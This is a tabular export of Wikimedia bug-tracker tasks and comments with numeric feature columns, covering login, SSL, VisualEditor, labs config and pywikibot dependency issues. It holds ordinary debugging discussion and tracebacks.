275340,"Login for content language ""ce"" broken because of ""/"" in special page name","Yeah, exactly because of slashes. But translatewiki do nothing to fix it.",,,1385122561,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.9333333333333333,"Yeah, exactly because of slashes. But translatewiki do nothing to fix it."
275335,"Login for content language ""ce"" broken because of ""/"" in special page name","I am writing to let everyone know
The site http://translatewiki.net I corrected

http://translatewiki.net/wiki/MediaWiki:Sp-translate-data-SpecialPageAliases/ce",,,1385121986,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,33.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.533333333333333,0.8666666666666667,"I am writing to let everyone know
The site URL I corrected

URL"
275329,"Login for content language ""ce"" broken because of ""/"" in special page name","After setting my local test wiki to Chechen language, I am certain this is caused by the slashes in the localised name of the special page. 

Maybe this change [1] needs to be reverted.

[1] https://gerrit.wikimedia.org/r/#q,I6e427d047a2f8e58677eb65b50866f767078c255,n,z",,,1385120253,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,4.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.5555555555555554,0.8,"After setting my local test wiki to Chechen language, I am certain this is caused by the slashes in the localised name of the special page. 

Maybe this change [1] needs to be reverted.

[1] URL"
275323,"Login for content language ""ce"" broken because of ""/"" in special page name","If you've unified your account, you should be able to log in at any other language Wikipedia, e.g. [[ru:Special:Userlogin]].

But users without unified accounts cannot log into this wiki at all.",,,1385119144,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,True,,,-84,True,4.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5869565217391304,0.8043478260869565,"If you've unified your account, you should be able to log in at any other language Wikipedia, e.g. [[ru:Special:Userlogin]].

But users without unified accounts cannot log into this wiki at all."
275314,"Login for content language ""ce"" broken because of ""/"" in special page name","This is the real problem. I really tried to login in Chechen Wikipedia, but there's simply no such page there. Could you please restore all modifications of login-module even if it needed to revert English messages?",,,1385119104,,PHID-USER-la7uv7mwacrpgvk65kzb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,12.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,12.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.186046511627907,0.9069767441860465,"This is the real problem. I really tried to login in Chechen Wikipedia, but there's simply no such page there. Could you please restore all modifications of login-module even if it needed to revert English messages?"
59371,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"Unable to connect via https to https://ee-dashboard.wmflabs.org/ with Firefox and Chrome.

Firefox gives the error message: ssl_error_rx_record_too_long

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://ee-dashboard.wmflabs.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=60865",Needs Triage,90.0,1385065320,1396211622.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,,False,PHID-TASK-elp5rbzac3txvdjf54ze,task_description,resolved,True,c3,1,True,False,True,-84,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.48214285714285715,"Unable to connect via https to URL with Firefox and Chrome.

Firefox gives the error message: ssl_error_rx_record_too_long

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
273193,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),just tested again. Seems fixed now.,,,1396211622,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.875,just tested again. Seems fixed now.
273189,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1280,,,1385072210,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
273183,SSL-Error for https at ee-dashboard.wmflabs.org (ssl_error_rx_record_too_long),"This is not a general Labs issue, but for a specific project.
Moving to the Analytics crew.",,,1385071786,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-elp5rbzac3txvdjf54ze,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,19.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.619047619047619,0.9047619047619048,"This is not a general Labs issue, but for a specific project.
Moving to the Analytics crew."
58927,SSL Certificate for UTRS on wmflabs.org,"**Author:** `tparis.wiki`

**Description:**
Please set up an SSL cert for the UTRS project.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://utrs.wmflabs.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53175",Needs Triage,90.0,1384230840,1388659862.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jag2rypjyxauvwi4iuft,task_description,declined,True,c3,1,False,False,True,-86,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.966666666666667,0.45,"**Author:** CODE

**Description:**
Please set up an SSL cert for the UTRS project.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
271847,SSL Certificate for UTRS on wmflabs.org,"No reply - closing as per comment 3. 
TParis: Please reopen if this is not sufficient.",,,1388659862,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.55,0.95,"No reply - closing as per comment 3. 
TParis: Please reopen if this is not sufficient."
271843,SSL Certificate for UTRS on wmflabs.org,Can this be closed?  We can now use the proxy system to encrypt web traffic.,,,1387482581,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,Can this be closed?  We can now use the proxy system to encrypt web traffic.
271837,SSL Certificate for UTRS on wmflabs.org,"**tparis.wiki** wrote:

Yes, that's the correct URL.  Yubipanda said he may set up a proxy to encrypt the data instead of an SSL certificate which is fine, but asked me to open this ticket as well.",,,1384259345,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,8.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,3.3958333333333335,0.8541666666666666,"**tparis.wiki** wrote:

Yes, that's the correct URL.  Yubipanda said he may set up a proxy to encrypt the data instead of an SSL certificate which is fine, but asked me to open this ticket as well."
271828,SSL Certificate for UTRS on wmflabs.org,"Please provide more information. 
http://utrs.wmflabs.org/ probably?

Also see bug 55957 comment 1. Bug 53175 is a similar request.",,,1384255208,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"Please provide more information. 
URL probably?

Also see bug 55957 comment 1. Bug 53175 is a similar request."
58584,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Error message

Steps to reproduce:
Click on the edit button

Observed Result:
""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE

See the screenshot attached

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12683}",Needs Triage,90.0,1383598080,1383598243.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_description,resolved,True,c3,1,False,False,True,-87,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9178082191780823,0.589041095890411,"Error message

Steps to reproduce:
Click on the edit button

Observed Result:
""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE

See the screenshot attached

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12683}"
277986,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Fallout from fixing bug 56583. Should be okay now.

*** This bug has been marked as a duplicate of bug 56583 ***",,,1383598243,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_subcomment,,True,c3,1,True,,,-87,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.1724137931034484,0.6896551724137931,"Fallout from fixing bug 56583. Should be okay now.

*** This bug has been marked as a duplicate of bug 56583 ***"
58389,default labs MediaWiki config will generate https links,"The Puppet templates/labs-localsettings has
if ( array_key_exists( ""SERVER_NAME"", $_SERVER ) ) {
    $wgServer = ""//"" . $_SERVER[""SERVER_NAME""];
}

Because $wgServer is not prefixed with http:, MediaWiki thinks https://servername links will work, thus several places in the code generate them, e.g. Special:UserLogin's _Use secure connection_ link and Echo notification e-mails. But most labs instances don't have working SSL, even via instance-proxy.wmflabs.org/

Project admins can't override this in orig/LocalSettings.php because these lines come after it is require_once'd.

Ideally the puppet LocalSettings would determine if https worked to the labs instance, and if not set
   $wgServer= 'http://' . $_SERVER['SERVER_NAME'];

Possible workarounds include unset ($_SERVER['REQUEST_TIME'] ),  overwriting $wgServer in some later config hook, and configuring SSL on the labs instance (bug 54065).

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://toro.wmflabs.org/wiki/Special:UserLogin",Needs Triage,90.0,1383167520,1437710884.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_description,declined,True,c3,1,False,False,True,-88,True,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,1.0,1.6666666666666667,2.0,0.0,0.0,0.0,0.0,1.3333333333333333,2.6666666666666665,4.666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,18.666666666666668,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,10.333333333333334,1.6666666666666667,1.3333333333333333,3.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,1.6666666666666667,0.0,0.6666666666666666,4.666666666666667,2.6666666666666665,0.0,3.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.094133885438233,0.7505175983436853,"The Puppet templates/labs-localsettings has
if ( array_key_exists( ""SERVER_NAME"", $_SERVER ) ) {
    $wgServer = ""//"" . $_SERVER[""SERVER_NAME""];
}

Because $wgServer is not prefixed with http:, MediaWiki thinks URL links will work, thus several places in the code generate them, e.g. Special:UserLogin's _Use secure connection_ link and Echo notification e-mails. But most labs instances don't have working SSL, even via instance-proxy.wmflabs.org/

Project admins can't override this in orig/LocalSettings.php because these lines come after it is require_once'd.

Ideally the puppet LocalSettings would determine if https worked to the labs instance, and if not set
   $wgServer= 'URL . $_SERVER['SERVER_NAME'];

Possible workarounds include unset ($_SERVER['REQUEST_TIME'] ),  overwriting $wgServer in some later config hook, and configuring SSL on the labs instance (bug 54065).

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
496209,default labs MediaWiki config will generate https links,"Old and unmaintained puppet code, use labs-vagrant instead!",,,1437710884,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Old and unmaintained puppet code, use labs-vagrant instead!"
58386,setup.py should require httplib2,"Test script

Running <code>python setup.py install</code> while in virtualenv does not install automatically the httplib2 dependency.

```
(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
Traceback (most recent call last):
  File ""test.py"", line 4, in <module>
    import pywikibot
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/__init__.py"", line 313, in <module>
    from page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 16, in <module>
    import pywikibot.site
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 33, in <module>
    from pywikibot.data import api
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 13, in <module>
    from pywikibot.comms import http
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 30, in <module>
    from httplib2 import SSLHandshakeError
ImportError: No module named httplib2
```

`test.py` is attached.

I am using Python 2.7.3 under `virtualenv` version 1.9.1 on Ubuntu 12.10.

Furthermore installing the dependency with `pip install httplib2` cause the following bug.

```
(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
ERROR: Traceback (most recent call last):
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
    body=paramstring)
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
    raise FatalServerError(str(request.data))
FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

Traceback (most recent call last):
  File ""test.py"", line 12, in <module>
    item = pywikibot.ItemPage.fromPage(wikipage)
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 2527, in fromPage
    repo = page.site.data_repository()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 98, in site
    return self._link.site
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3224, in site
    self.parse()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3207, in parse
    if self._site.case() == 'first-letter':
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1173, in case
    return self.siteinfo['case']
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1167, in siteinfo
    self._getsiteinfo()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1100, in _getsiteinfo
    sidata = sirequest.submit()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 462, in submit
    self._data = super(CachedRequest, self).submit()
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
    body=paramstring)
  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
    raise FatalServerError(str(request.data))
pywikibot.exceptions.FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
```

Steps to reproduce:
* download core.tar.gz and unzip
* create virtualenv
* run <code>python setup.py install</code> from <code>core</code>
* run <code>python test.py ""Alessandro_Manzoni""</code>

--------------------------
**Version**: core-(2.0)
**Severity**: normal

**Attached**: {F12229}",Needs Triage,90.0,1383163980,1383205592.0,PHID-USER-lkjgj76544v3vn63zgtk,False,,False,PHID-TASK-en7agonusfaxbwj475u2,task_description,resolved,True,c3,1,False,False,True,-88,True,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.5,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,9.0,4.51843137254902,0.6129411764705883,"Test script

Running <code>python setup.py install</code> while in virtualenv does not install automatically the httplib2 dependency.

``CODE`CODEtest.pyCODEvirtualenvCODEpip install httplib2CODE`CODE``

Steps to reproduce:
* download core.tar.gz and unzip
* create virtualenv
* run <code>python setup.py install</code> from <code>core</code>
* run <code>python test.py ""Alessandro_Manzoni""</code>

--------------------------
**Version**: core-(2.0)
